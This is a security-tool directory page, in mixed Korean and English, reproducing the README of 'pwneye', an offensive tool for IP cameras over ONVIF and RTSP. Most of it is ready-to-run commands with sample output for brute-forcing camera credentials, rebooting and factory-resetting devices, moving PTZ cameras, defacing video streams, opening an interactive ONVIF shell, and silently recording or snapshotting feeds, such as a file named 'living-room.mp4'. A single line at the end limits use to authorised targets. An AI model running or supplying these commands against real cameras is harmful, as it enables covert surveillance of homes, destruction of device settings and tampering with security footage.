Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/hackerest/pwneye
ReconnaissanceIoT SecurityPassword AttacksVulnerability AnalysisExploitationInformation GatheringNetwork SecurityPenetration TestingHardware & IoT SecurityRed Teaming
GitHubhackerest/pwneye
239347817일 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

pwneye

ONVIF 및 RTSP 카메라 동반 도구로, 실제 보안 카메라를 발견하고 해킹하기 위한 도구입니다 🎥

저장소 보기

pwneye 로고

버전 1.3.2 코드네임 panopticon Python 3.10+ macOS 및 Linux GNU GPL v3.0

pwneye는 ONVIF 및 RTSP 서비스를 노출하는 IP 카메라를 대상으로 하는 집중적이고 휴대 가능한 공격적 보안 도구로, 보안 연구원과 해커가 단일 CLI 워크플로우에서 탐지, 인증 테스트, 메타데이터 수집, 스트림 검증, 녹화 및 후속 조치를 쉽게 처리할 수 있도록 설계되었습니다.

현재 지원되는 기능 중 일부는 다음과 같습니다:

  • WS-Discovery를 통한 로컬 네트워크 ONVIF 탐지
  • 단일 자격 증명 또는 사용자 이름/비밀번호 파일을 사용한 ONVIF 인증 및 멀티스레드 무차별 대입 공격
  • 장치 정보, 구성된 사용자, 네트워크 구성, 미디어 프로필 및 RTSP 스트림 URI에 대한 ONVIF 인증 후 열거
  • ONVIF를 통한 카메라 재부팅, 공장 초기화 및 대화형 셸 접근
  • CLI 및 전용 뷰어에서 모두 가능한 ONVIF PTZ 이동
  • ONVIF를 통한 스트림 변조 및 복원 지원
  • RTSP 포트 탐지 및 배너 기반 공급업체 식별
  • 450개 이상의 내장 공급업체 자격 증명/연결 문자열 프로필을 포함한 공급업체 인식 RTSP 무차별 대입 공격, 수동 공급업체 및 수동 연결 문자열 지원 포함
  • 실시간 진행률 출력이 포함된 멀티스레드 RTSP 무차별 대입 공격
  • 자동 탐지, 안내식 열거 및 대화형 채널 선택을 지원하는 RTSP 다중 채널 처리
  • DVR/NVR 스타일 대상을 위한 확대/축소 및 빠른 채널 전환이 가능한 전용 실시간 미리보기 클라이언트
  • RTSP 스트림 검증, ffplay를 통한 실시간 미리보기, ffmpeg를 통한 녹화 및 스냅샷 캡처
  • 성공적인 ONVIF 및 RTSP 결과를 ~/.pwneye 아래에 대상별로 캐싱

데모

https://github.com/user-attachments/assets/6913632b-326d-455e-aa0d-be6bf9b3e66c

목차

  • 설치 및 업데이트
    • pipx
    • Python
    • 외부 종속성
  • 시작하기
  • ONVIF
    • ONVIF가 제공하는 것
    • 로컬 네트워크 열거
    • 자격 증명 무차별 대입
    • 카메라 재부팅
    • 카메라 초기화
    • 카메라 이동
    • 스트림 변조
    • 스트림 변조 해제
    • 셸 얻기
  • RTSP
    • RTSP가 제공하는 것
    • 공급업체 식별
    • RTSP 무차별 대입
    • 다중 채널 스트림
    • 스트리밍, 녹화 및 스냅샷
  • 팁 & 요령
  • 감사의 말
  • 안전
  • 라이선스

설치 및 업데이트

pipx

GitHub에서 pwneye를 시스템 전체 CLI 명령으로 설치합니다:```bash pipx install git+https://github.com/Hackerest/pwneye.git pwneye --help

root@kitploit:~
Uninstall it:```bash
pipx uninstall pwneye

나중에 동일한 GitHub 소스에서 업그레이드하세요:```bash pipx upgrade pwneye

root@kitploit:~
### Python```bash
git clone https://github.com/Hackerest/pwneye
cd pwneye
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
python3 pwneye.py --help

나중에 동일한 GitHub 소스에서 업그레이드하세요:```bash cd pwneye git pull source .venv/bin/activate pip install -r requirements.txt

root@kitploit:~
### 외부 종속성

사용하는 모드에 따라 다음 도구가 `PATH`에 있어야 합니다:
- `ffplay`
- `ffprobe`
- 녹화용 `ffmpeg`

| 플랫폼 | 설치 명령어 |
| --- | --- |
| macOS (Homebrew) | `brew install ffmpeg` |
| Ubuntu / Debian | `sudo apt update && sudo apt install ffmpeg` |
| Fedora | `sudo dnf install ffmpeg ffmpeg-free` |
| Arch Linux | `sudo pacman -S ffmpeg` |
| openSUSE | `sudo zypper install ffmpeg` |

## 시작하기

이 도구에 가장 빠르게 접근할 수 있는 진입점을 사용하세요. 여기서 목표는 모든 플래그를 문서화하는 것이 아니라, 이미 알고 있는 내용에 따라 카메라 작업을 시작하는 가장 유용한 방법을 보여주는 것입니다.

단일 대상을 보유하고 있고 `pwneye`가 프로토콜 선택 작업을 대신 수행하도록 하려면 기본 전체 워크플로우부터 시작하세요:```bash
pwneye -t 192.168.1.135

ONVIF 디스커버리를 사용하면 동일한 로컬 네트워크에 있을 때 RTSP를 건드리기 전에 장치, 공급업체 및 스트림 단서를 식별할 수 있습니다:```bash pwneye --discover

root@kitploit:~
ONVIF가 관련 없거나, 사용할 수 없거나, 이미 테스트하려는 대상을 알고 있을 때는 RTSP에서 바로 시작하세요:```bash
pwneye -t 192.168.1.135 --skip-onvif

Start from known or suspected credentials when you want to reduce noise and validate access quickly:```bash pwneye -t 192.168.1.135 --username admin --password admin pwneye -t 192.168.1.135 --username admin --password ~/wordlists/passwords.txt pwneye -t 192.168.1.135 --username ~/wordlists/users.txt --password admin123

root@kitploit:~
알려진 경로나 경로 템플릿에서 시작하면, 이미 스트림 단서가 있고 RTSP 요청을 엄격하게 제어하려는 경우에 유용합니다:```bash
pwneye -t 192.168.1.135 --skip-onvif -cn "/live/ch00_0"
pwneye -t 192.168.1.135 --skip-onvif -cn '/cam/realmonitor?channel={channel}&subtype=0'

증명 스트림이 확보되면 증거 수집을 시작합니다:```bash pwneye -t 192.168.1.135 --snapshot pwneye -t 192.168.1.135 --record

root@kitploit:~
유용하게 기억해 둘 플래그:

- `--vendor VENDOR`: 장치 제품군을 이미 알고 있을 때 RTSP 요청 수를 줄임
- `-cn, --connection-string PATH`: 알려진 RTSP 경로 또는 후보 경로가 담긴 파일을 시도
- `--multi-channel`: DVR/NVR 스타일 대상을 의심할 때 채널 기반 RTSP 경로를 우선 사용
- `--threads N`: ONVIF 및 RTSP 무차별 대입 공격의 동시성 제어
- `--skip-onvif` / `--skip-rtsp`: 한 프로토콜에만 집중
- `--no-cache`: 캐시에서 읽거나 캐시에 쓰지 않음
- `--fresh`: 캐시 읽기는 무시하되 새 발견 사항은 여전히 기록

## ONVIF

ONVIF는 카메라 세계의 관리 및 제어 측면입니다. 실제로는 검색, 인증, 메타데이터 추출, 미디어 프로필 열거, 스트림 URI 검색, 재부팅 같은 장치 작업에 유용합니다.

`pwneye`에서 ONVIF는 일반적으로 인증 후 가장 풍부한 컨텍스트를 제공하고, 카메라가 노출하는 내용을 이해하는 가장 깔끔한 경로이며, 인증된 계정이 충분한 권한을 가질 때 장치에서 실제 관리 작업에 접근할 수 있게 해주는 프로토콜입니다.

### ONVIF가 제공하는 것

카메라가 ONVIF를 노출하면 `pwneye`는 이를 사용하여 다음을 수행할 수 있습니다:

- WS-Discovery를 통해 로컬 네트워크에서 카메라 검색
- 고정 자격 증명 또는 파일을 사용하여 ONVIF 인증 테스트
- 제조업체 및 장치 메타데이터 추출
- 장치가 노출하는 RTSP 스트림 URI 검색
- RTSP를 더 공격적으로 다루기 전에 유용한 인증 후 컨텍스트 열거
- `--reboot`로 인증된 재부팅 요청
- `--reset`으로 인증된 공장 초기화 요청
- CLI 또는 전용 뷰어에서 PTZ 지원 카메라 이동
- `--shell`로 인증된 대화형 셸 열기
- `--deface`로 ONVIF를 통한 스트림 변조
- `--undeface`로 마지막으로 저장된 변조 프로필 복원

### 로컬 네트워크 열거

WS-Discovery를 사용하여 로컬 네트워크에서 ONVIF 지원 장치를 식별합니다:```
pwneye --discover

[info] Starting continuous ONVIF discovery on the target network
[warning] No network interface was specified. Using en0 (subnet 192.168.1.0/24) for discovery
[success] Discovered 1 new ONVIF device(s) on the target network
[info] Saved ONVIF discovery data to cache for 192.168.1.135 (Tenda)

   Host: 192.168.1.135
   Port: 80
   Protocol: http
   Types: Device
   XAddrs: http://192.168.1.135:80/onvif/device_service
   Manufacturer: Tenda
   Name: CP3Pro
   Hardware: CP3Pro
   MAC: XX:XX:XX:XX:XX:XX
   Country: China
   Profiles: Streaming
   Capabilities: NetworkVideoTransmitter, ptz, video_encoder, audio_encoder

[success] ONVIF discovery stopped by user after identifying 1 device(s)

탐색 루프는 몇 초마다 계속 프로빙하며, 새로 발견된 장치만 출력하고 CTRL-C로 중지할 수 있습니다.

특정 네트워크 인터페이스를 통해 탐색을 강제할 수도 있습니다:```bash pwneye --discover en0 pwneye --discover eth0

root@kitploit:~
When no interface is specified, `pwneye` automatically chooses the default outbound interface and tells you which target subnet it is using for WS-Discovery.

### Bruteforcing Credentials

Run ONVIF-only bruteforce with a fixed username and a password file:```
pwneye -t 192.168.1.135 -ou admin -op ~/wordlists/rockyou-short.txt --skip-rtsp --threads 5

[info] Checking if the target (192.168.1.135) is reachable...
[info] The target seems to be reachable
[info] Trying ONVIF authentication using user-provided credentials...
[success] 192.168.1.135 supports ONVIF on port 80
[warning] Unable to authenticate via ONVIF using provided credentials
[>] Do you want to extend the test to common ONVIF credentials? [(y)es/(n)o] (default: y): 
[info] No explicit ONVIF credentials specified, trying common ONVIF credentials...
[info] Trying ONVIF authentication using common username(s) and password(s)...
[success] 192.168.1.135 supports ONVIF on port 80
⠼ Trying ONVIF on 192.168.1.135:80 with camera:12345

유용한 옵션:

  • --skip-onvif: ONVIF 탐지 및 열거 건너뛰기
  • -oP, --onvif-port PORT: 특정 ONVIF 포트 테스트
  • -ou, --onvif-username USER: ONVIF 사용자 이름 또는 줄마다 하나의 사용자 이름이 있는 파일
  • -op, --onvif-password PASS: ONVIF 비밀번호 또는 줄마다 하나의 비밀번호가 있는 파일

-ou 및 -op를 지정하지 않으면 pwneye는 자동으로 내장된 일반적인 ONVIF 사용자 이름과 비밀번호로 대체합니다.

pwneye는 성공한 ONVIF 자격 증명을 대상별로 ~/.pwneye/cache에 캐시하고, --fresh 또는 --no-cache를 사용하지 않는 한 이후 실행에서 이를 재사용합니다.

카메라 재부팅

ONVIF 인증에 성공하면 직접 재부팅을 요청할 수 있습니다:``` pwneye -t 192.168.1.135 --reboot

[info] Found cached ONVIF/RTSP credential(s) for 192.168.1.135 [info] Checking if the target (192.168.1.135) is reachable... [info] The target seems to be reachable [info] Trying cached ONVIF credentials for the target... [success] 192.168.1.135 supports ONVIF on port 80 [success] ONVIF connection established using the following configuration:

Port: 80 ONVIF Username: admin ONVIF Password: Hackerest1

[warning] Requesting ONVIF system reboot... [info] ONVIF reboot request sent [info] Checking if the camera is still reachable... [success] The device has been rebooted!

root@kitploit:~
`--reboot`를 사용하면 RTSP 프로빙이 건너뜁니다.

### 카메라 초기화

ONVIF 인증이 성공하면 공장 초기화를 직접 요청할 수도 있습니다:```text
pwneye -t 192.168.1.135 --reset

[info] Found cached ONVIF/RTSP credential(s) for 192.168.1.135
[info] Checking if the target (192.168.1.135) is reachable...
[info] The target seems to be reachable
[info] Trying cached ONVIF credentials for the target...
[success] 192.168.1.135 supports ONVIF on port 80
[success] ONVIF connection established using the following configuration:

   Port: 80
   ONVIF Username: admin
   ONVIF Password: Hackerest1

[>] Do you really want to factory-reset the camera via ONVIF? [(y)es/(n)o] (default: n):
[warning] Requesting ONVIF factory reset...
[info] ONVIF factory reset request sent
[info] Checking if the camera is still reachable...
[warning] The ONVIF factory reset request was sent, but the target still appears to be reachable. Please verify manually that the reset was completed.

경고: 이 작업은 되돌릴 수 없으며 현재 장치 구성, 자격 증명 및 네트워크 설정을 삭제할 수 있습니다. 영향을 완전히 이해하고 명시적으로 수행 권한이 부여된 경우에만 --reset을 사용하십시오.

--reboot와 마찬가지로 --reset을 사용하면 RTSP 프로빙이 건너뜁니다.

카메라 이동

대상이 ONVIF를 통해 PTZ 제어를 노출하는 경우, pwneye는 터미널과 전용 라이브 뷰어에서 모두 카메라를 이동할 수 있습니다.

CLI에서는 direction,duration과 함께 --move를 사용하십시오. 이 플래그는 반복할 수 있으며, 요청된 이동은 RTSP 프로빙을 건너뛴 상태에서 순서대로 실행됩니다.```bash pwneye -t 192.168.1.135 --move right,2 pwneye -t 192.168.1.135 --move right,2 --move up,1 --move down,3 pwneye -t 192.168.1.135 --move r,2 --move u,1 --move d,3

root@kitploit:~
허용되는 방향은 다음과 같습니다:

- `left` 또는 `l`
- `right` 또는 `r`
- `up` 또는 `u`
- `down` 또는 `d`

예시:```text
pwneye -t 192.168.1.135 --move r,2 --move u,1

...
[info] Trying cached ONVIF credentials for the target...
...
[success] ONVIF connection established using the following configuration:
...

[info] Requesting ONVIF PTZ move to right for 2.00 second(s)...
[info] The ONVIF move command was accepted
[info] Requesting ONVIF PTZ move to up for 1.00 second(s)...
[info] The ONVIF move command was accepted
[success] The camera has been moved!

전용 뷰어에서 PTZ가 지원되면, 포커스된 뷰에서도 W, A, S, D 키로 카메라를 대화형으로 움직일 수 있습니다. 이미 작동 중인 스트림이 있고 장치를 조정하면서 직접적인 시각적 피드백을 원할 때 유용합니다.

스트림 변조(Defacing)

ONVIF 인증이 성공하면, pwneye는 스트림을 직접 변조하려고 시도할 수도 있습니다:```bash pwneye -t 192.168.1.135 --deface "THIS CAMERA IS EXPOSED"

root@kitploit:~
`--deface`가 수행하는 작업을 간단히 설명하면 다음과 같습니다:

- 먼저 대상이 ONVIF Imaging을 통한 스트림 어둡게 하기(darkening)를 지원하는지 확인합니다
- 또한 대상이 재사용 가능한 ONVIF 텍스트 레이어를 노출하는지 확인합니다
- 두 가지 모두 사용 가능한 경우 `pwneye`는 전체 디페이스(deface)를 수행합니다
- 한쪽만 사용 가능한 경우 `pwneye`는 사용자에게 경고하고 부분 디페이스를 대신 제공합니다
- 변경 전에 `pwneye`는 `~/.pwneye/cache` 아래에 대상에 대한 복원 프로필을 저장합니다

구현은 의도적으로 보수적이며 벤더 친화적입니다:

- 어둡게 하기 단계에서 `pwneye`는 벤더별 트릭에 의존하는 대신 밝기, 대비, 채도와 같은 지원되는 이미징 컨트롤을 낮춥니다
- 텍스트 단계에서 `pwneye`는 새 OSD 항목을 만들거나 삭제하는 대신 기존의 쓰기 가능한 ONVIF 텍스트 레이어를 재사용합니다
- 이로 인해 최종 시각적 결과가 여전히 펌웨어에 따라 달라지더라도 다양한 카메라 제품군에서 더 호환성이 높아집니다

예시:```text
pwneye -t 192.168.1.135 --deface "THIS CAMERA IS EXPOSED"

[info] Found cached ONVIF/RTSP credential(s) for 192.168.1.135
[info] Checking if the target (192.168.1.135) is reachable...
[info] The target seems to be reachable
[info] Trying cached ONVIF credentials for the target...
[success] 192.168.1.135 supports ONVIF on port 80
[success] ONVIF connection established using the following configuration:

   Port: 80
   ONVIF Username: admin
   ONVIF Password: Hackerest1

[info] Inspecting ONVIF deface capabilities...
[info] The target supports ONVIF deface
[>] Do you want to proceed with the deface attempt? [(y)es/(n)o] (default: n): y
[warning] Trying to deface the target stream with THIS CAMERA IS EXPOSED
[info] A backup profile is being created for future restorations...
[success] Backup profile saved successfully to /Users/user/.pwneye/cache/192.168.1.135.yaml
[info] Trying to darken the stream...
[success] The stream was darkened successfully
[info] Trying to replace the current on-stream text with THIS CAMERA IS EXPOSED
[info] Verifying the text update...
[success] The target stream has been defaced!
[info] To restore the previous configuration, run the tool again with --undeface

Deface 자리 표시자

스트림 디페이스 해제

이전 --deface 실행이 대상에 대한 복원 프로필을 저장한 경우, pwneye는 이를 사용하여 원래 ONVIF 상태를 복원할 수 있습니다:```bash pwneye -t 192.168.1.135 --undeface

root@kitploit:~
`--undeface`가 수행하는 작업을 간단히 설명하면 다음과 같습니다:

- 대상 캐시 항목에서 이전에 저장된 deface 복원 프로필을 찾습니다.
- 프로필이 없으면 오류와 함께 즉시 중지됩니다.
- 프로필이 있으면 원래 Imaging 설정과 원래 쓰기 가능한 텍스트 레이어를 복원하려고 시도합니다.
- `--deface`와 마찬가지로 최종 결과는 대상이 ONVIF를 통해 허용하는 내용에 따라 전체 또는 부분일 수 있습니다.

복원 프로필은 성공적인 `--undeface` 후에도 삭제되지 않습니다. 이후 `--deface`가 새 프로필로 덮어쓸 때까지 캐시에 유지됩니다.

예시:```text
pwneye -t 192.168.1.135 --undeface

[info] Found cached ONVIF/RTSP credential(s) for 192.168.1.135
[info] Checking if the target (192.168.1.135) is reachable...
[info] The target seems to be reachable
[info] Trying cached ONVIF credentials for the target...
[success] 192.168.1.135 supports ONVIF on port 80
[success] ONVIF connection established using the following configuration:

   Port: 80
   ONVIF Username: admin
   ONVIF Password: Hackerest1

[info] Looking for a saved deface profile for this target...
[info] A saved deface profile was found at /Users/user/.pwneye/cache/192.168.1.135.yaml
[>] Do you want to proceed with the undeface attempt? [(y)es/(n)o] (default: n): y
[warning] Trying to restore the target stream...
[info] Trying to restore the original stream brightness profile...
[success] The original stream brightness profile was restored successfully
[info] Trying to restore the original on-stream text...
[success] The original on-stream text was restored successfully
[success] The target stream has been restored!

셸 얻기

ONVIF 인증이 성공하면 pwneye는 대화형 ONVIF 셸로 직접 진입할 수도 있습니다. 이는 서비스를 검사하거나, 메서드를 수동으로 호출하거나, 기능을 탐색하거나, 현재 워크플로우를 벗어나지 않고 대상별 작업을 테스트하려는 경우에 유용합니다.

예시:```text pwneye -t 192.168.1.135 --shell

[info] Found cached ONVIF/RTSP credential(s) for 192.168.1.135 [info] Checking if the target (192.168.1.135) is reachable... [info] The target seems to be reachable [info] Trying cached ONVIF credentials for the target... [success] 192.168.1.135 supports ONVIF on port 80 [success] ONVIF connection established using the following configuration:

Port: 80 ONVIF Username: admin ONVIF Password: Hackerest1

[info] Opening the interactive ONVIF shell...

This feature is powered by https://github.com/nirsimetri/onvif-python (leave it a ⭐!) Use TAB for completion and help for commands.

[email protected]:80 > ls analytics events media2 pullpoint ruleengine capabilities help store cls debug pwd type deviceio imaging notification recording search caps exit rm clear ls shortcuts devicemgmt media ptz replay subscription services quit show info cd desc

root@kitploit:~
## RTSP

RTSP은 카메라 세계의 스트리밍 측면입니다. 일반적으로 실시간 영상 경로를 제공하는 프로토콜이지만, 동시에 가장 파편화된 프로토콜이기도 합니다: 공급업체마다 서로 다른 경로, 채널 규칙, 인증 방식, 배너 형식을 사용합니다.

`pwneye`에서 RTSP 처리는 포트 탐색, 배너 수집, 공급업체 인식 경로 선택, 무차별 대입 오케스트레이션, 스트림 검증, 미리보기 및 녹화를 중심으로 구축됩니다.

### RTSP가 제공하는 것

RTSP는 스트림에 실제로 접근할 수 있는지 확인하는 워크플로우의 핵심 부분입니다. `pwneye`에서 이는 다음을 의미합니다:

- 일반적이거나 사용자가 지정한 포트에서 RTSP 감지
- 배너 수집 및 공급업체 자동 식별 시도
- 공급업체 인식 또는 사용자 제공 경로에 대한 자격 증명 무차별 대입
- 열기 전에 작동하는 스트림 검증
- 증거 확보를 위한 스트림 녹화 또는 스냅샷 캡처
- 대상이 DVR 또는 NVR처럼 동작할 때 여러 채널 열거

### 공급업체 식별

`pwneye`는 더 넓은 경로 열거로 전환하기 전에 RTSP 배너 수집을 통해 RTSP 공급업체를 자동으로 식별하려고 시도합니다.

자동 배너 기반 식별이 실패하고 이전 분석에서 공급업체를 이미 알고 있는 경우, 이를 직접 전달하여 요청 수를 크게 줄일 수 있습니다:```bash
pwneye -t 192.168.1.135 --vendor tenda

RTSP 배너만 가져와서 종료할 수도 있습니다:``` pwneye -t 192.168.1.135 --skip-onvif --banner

... [info] RTSP service detected on port(s): 554 [success] RTSP banner on port 554: Hipcam RealServer/V1.0

root@kitploit:~
유용한 옵션:
- `--skip-rtsp`: RTSP 감지 및 무차별 대입 공격 건너뛰기
- `-P, --rtsp-port PORT`: 특정 RTSP 포트 테스트
- `--vendor VENDOR`: RTSP 데이터베이스에서 공급업체 강제 지정
- `--list-vendors`: RTSP 지식 베이스가 지원하는 공급업체 목록을 출력하고 종료
- `--protocol tcp|udp`: RTSP 전송 방식 선택, 기본값은 `tcp`
- `--timeout SECONDS`: RTSP 타임아웃, 기본값은 `10`

### RTSP 무차별 대입 공격

고정된 자격 증명으로 RTSP 무차별 대입 공격:```bash
pwneye -t 192.168.1.135 --username admin --password admin

고정된 비밀번호로 사용자 이름만 순환합니다:```bash pwneye -t 192.168.1.135 --password 'SuperSecretPass' --vendor hikvision --threads 10

root@kitploit:~
단일 사용자 제공 RTSP 연결 문자열을 시도합니다:```bash
pwneye -t 192.168.1.135 --skip-onvif -cn "/11"
pwneye -t 192.168.1.135 --skip-onvif -cn "/cam/realmonitor?channel=1&subtype=0"

파일에서 후보 연결 문자열을 로드합니다:```bash pwneye -t 192.168.1.135 --skip-onvif -cn paths.txt

root@kitploit:~
고정된 자격 증명과 수동 경로를 결합합니다:```bash
pwneye -t 192.168.1.135 --skip-onvif -u admin -p admin -cn "/live/ch00_0"

다중 채널 경로를 선호하세요. 대상이 DVR/NVR일 가능성이 높을 때:```bash pwneye -t 192.168.1.135 --skip-onvif --multi-channel

root@kitploit:~
유용한 옵션:
- `-u, --username USER`: RTSP 사용자 이름 또는 줄마다 하나의 사용자 이름이 있는 파일
- `-p, --password PASS`: RTSP 비밀번호 또는 줄마다 하나의 비밀번호가 있는 파일
- `-cn, --connection-string PATH`: RTSP 연결 문자열 또는 줄마다 하나의 연결 문자열이 있는 파일
- `--multi-channel`: 가능한 경우 RTSP 다중 채널 연결 문자열 선호
- `--threads N`: 무차별 대입 엔진에서 사용하는 동시 스레드 수

`-u` 및 `-p`가 지정되지 않으면 `pwneye`는 자동으로 내장된 일반적인 RTSP 사용자 이름과 비밀번호로 대체합니다.

`pwneye`는 성공한 RTSP 자격 증명과 검증된 스트림 메타데이터를 대상별로 `~/.pwneye/cache`에 캐시합니다.

캐시 동작:
- 기본값: 새 무차별 대입을 실행하기 전에 캐시된 유효한 결과를 재사용
- `--fresh`: 캐시된 결과를 무시하지만 새 결과로 캐시는 계속 업데이트
- `--no-cache`: 캐시 읽기와 캐시 쓰기를 모두 비활성화

### 다중 채널 스트림

일부 카메라, DVR 및 NVR은 단일 정적 경로 대신 여러 논리적 RTSP 채널을 노출합니다. 일반적인 예로는 다음과 같은 템플릿이 있습니다:```text
rtsp://IP:554/?chID=1&streamType=main&linkType=tcp
rtsp://IP:554/cam/realmonitor?channel=1&subtype=0

pwneye는 RTSP를 프로빙하는 동안, 특히 공급업체 기반 RTSP 지식을 통해 이를 자동으로 감지할 수 있지만, 프로세스를 명시적으로 제어할 수도 있습니다:

  • --multi-channel는 pwneye가 지식 베이스에서 채널 기반 RTSP 경로를 우선적으로 사용하도록 지시합니다
  • --connection-string은 {channel}과 같은 자리 표시자를 포함하여 자체 채널 템플릿을 제공할 수 있게 합니다
  • 동일한 템플릿 로직은 연결 문자열이 파일에서 제공될 때도 작동합니다
  • 여러 채널이 발견되면 pwneye는 단일 피드 또는 하나의 창에서 전용 다중 채널 뷰어를 열 수 있습니다

예시:```bash pwneye -t 192.168.1.135 --skip-onvif --multi-channel pwneye -t 192.168.1.135 --skip-onvif -cn '/cam/realmonitor?channel={channel}&subtype=0' pwneye -t 192.168.1.135 --skip-onvif -cn channel_paths.txt

root@kitploit:~
샘플 출력:```text
[info] Enumerating RTSP channels using the validated connection template...
[info] Press CTRL-C to stop channel enumeration and choose from the channels found
[success] RTSP channel 2 is valid
[success] RTSP channel 3 is valid
[warning] RTSP channel enumeration interrupted by user. Using the channels discovered so far

   [0] Open all discovered channels in a dedicated client
   [1] Channel 1: rtsp://192.168.1.135:554/cam/realmonitor?channel=1&subtype=0
   [2] Channel 2: rtsp://192.168.1.135:554/cam/realmonitor?channel=2&subtype=0
   [3] Channel 3: rtsp://192.168.1.135:554/cam/realmonitor?channel=3&subtype=0

[>] Select channel (CTRL-C to exit):

Open all discovered channels(발견된 모든 채널 열기)을 선택하면 pwneye는 발견된 모든 스트림을 단일 창 안에 유지하는 전용 다중 채널 클라이언트를 실행합니다. 각 피드는 모자이크에서 라이브 미리보기로 표시되며, 타일을 클릭하면 해당 채널이 더 큰 집중 보기로 전환되고 간단한 Back(뒤로) 동작으로 그리드로 돌아갈 수 있습니다.

pwneye dedicated multi-channel client demo

기본적으로 라이브 RTSP 미리보기는 전용 pwneye 클라이언트를 사용합니다. 대신 기존 시스템 플레이어 워크플로를 선호한다면 --legacy를 추가하여 검증된 스트림을 ffplay로 열 수 있습니다.

전용 클라이언트가 열려 있으면 GUI를 벗어나지 않고 집중 보기에서 직접 Snapshot(스냅샷) 및 Record(녹화)를 트리거할 수도 있습니다. 이는 먼저 피드를 검사한 후에만 정지 이미지를 저장하거나 증거 녹화를 시작할지 결정하려는 경우에 유용합니다.

스트리밍, 녹화 및 스냅샷

라이브 미리보기로 검증된 스트림 열기:```bash pwneye -t 192.168.1.135 --vendor tenda

root@kitploit:~
Record a validated RTSP stream with preview:

검증된 RTSP 스트림을 미리보기와 함께 녹화합니다:```bash
pwneye -t 192.168.1.135 --record
pwneye -t 192.168.1.135 --record living-room.mp4

스냅샷을 전체 녹화 대신 캡처하세요:```bash pwneye -t 192.168.1.135 --snapshot pwneye -t 192.168.1.135 --snapshot living-room.jpg

root@kitploit:~
레코드를 미리보기 창을 열지 않고 기록합니다:```
pwneye -t 192.168.1.135 --record living-room.mp4 --no-video

...
[info] Recording RTSP stream to /Users/user/.pwneye/recordings/192.168.1.135/2026-04-14_20-25-03.mp4
[info] Press CTRL-C to stop the recording
[warning] Retrying MP4 finalization in compatibility mode (transcoding)...
[success] Recording saved to /Users/user/.pwneye/recordings/192.168.1.135/2026-04-14_20-25-03.mp4 (5.75 MB)

Recording 동작:

  • --record [OUTPUT.mp4]: 검증된 RTSP 스트림을 녹화합니다. 생략하면 ~/.pwneye/recordings 아래에 타임스탬프가 포함된 파일이 생성됩니다.
  • --snapshot [OUTPUT.jpg]: 검증된 RTSP 스트림에서 정지 프레임을 저장합니다. 생략하면 ~/.pwneye/snapshots 아래에 타임스탬프가 포함된 파일이 생성됩니다.
  • --no-video: 라이브 미리보기 및 디코딩을 건너뜁니다.
  • 전용 뷰어는 포커스된 화면에서 Snapshot 및 Record 동작을 직접 노출합니다.
  • 기본 녹화 파일은 ~/.pwneye/recordings/<target>/ 아래에 저장됩니다.
  • 기본 스냅샷 파일은 ~/.pwneye/snapshots/<target>/ 아래에 저장됩니다.

팁과 요령

pwneye가 비디오 게임이라면, 아마 로딩 화면에서 볼 수 있는 팁들은 다음과 같을 것입니다:

  • 강력한 웹 UI가 안전한 카메라를 의미하지는 않습니다: 웹 인터페이스가 잘 보호된 카메라라고 해서 전체적으로 잘 보호되는 것은 아닙니다. 견고한 웹 잠금 동작이 있는 반면 RTSP는 인증이 없거나 사실상 무제한 시도를 허용하는 경우가 흔합니다.
  • 가능하면 discovery를 사용하세요: 로컬 네트워크에서 --discover가 작동한다면 먼저 사용하세요. 벤더 정보, 장치 메타데이터, 캐시된 발견 결과는 이후 RTSP 작업을 훨씬 더 조용하고 안정적으로 만들 수 있습니다.
  • ONVIF를 먼저 시도하는 것이 더 현명한 선택일 수 있습니다: ONVIF와 RTSP는 종종 동일한 자격 증명을 공유합니다. ONVIF가 노출되어 있다면, RTSP를 직접 공격하여 스트림을 불안정하게 만들기보다 --skip-rtsp로 해당 측면을 먼저 무차별 대입하는 것이 일반적으로 더 현명합니다. pwneye가 유효한 ONVIF 자격 증명을 찾으면 RTSP에서 자동으로 이를 재사용하려고 시도합니다.
  • 알려진 벤더는 노이즈를 줄입니다: 벤더를 이미 알고 있다면 --vendor를 명시적으로 전달하세요. 요청 수를 줄이고 취약한 대상의 안정성을 유지하는 데 도움이 될 수 있습니다.
  • 알려진 경로는 맹목적 추측보다 낫습니다: 경로를 이미 알고 있거나 의심된다면 광범위한 RTSP 열거 대신 --connection-string을 사용하세요. 요청 세트를 더 세밀하게 제어할 수 있고 실패를 해석하기가 더 쉬워집니다.
  • 레코더는 둘 이상의 피드를 노출할 수 있습니다: 대상이 DVR/NVR처럼 보인다면 단일 스트림만 노출한다고 가정하기 전에 --multi-channel 또는 수동 채널 템플릿을 시도하세요.
  • 재부팅은 복구 단계가 될 수 있습니다: 유효한 RTSP 자격 증명이 있지만 여전히 비디오를 열 수 없다면, 반복적인 프로빙 후 스트림이 단순히 불안정해졌을 수 있습니다. ONVIF 접근 권한도 있다면, 단순하지만 종종 효과적인 복구 단계는 --reboot입니다.
  • 유효한 스트림이 항상 의미 있는 스트림은 아닙니다: 일부 장치는 잘못된 경로와 잘못된 채널 ID에 대해서도 기꺼이 스트림을 반환합니다. 결과 피드가 실제로 다르다는 것을 확인할 때까지 광범위한 채널 성공을 하나의 힌트로 취급하세요.

감사의 말

pwneye가 사용하는 ONVIF 라이브러리인 onvif-python을 제공한 @kaburagisec에게 특별히 감사드립니다. 이 덕분에 이 프로젝트의 ONVIF 측면이 훨씬 더 쉽고 안정적으로 구현되었습니다.

테스트 중에 도움을 주고 ONVIF discovery 워크플로우를 포함한 도구의 일부 부분을 개선하는 데 기여한 몇 가지 유용한 제안을 공유해 준 Darix Deros에게 감사드립니다.

안전

pwneye는 소유한 자산이나 명시적으로 평가 권한을 부여받은 자산에 대해서만 사용하세요.

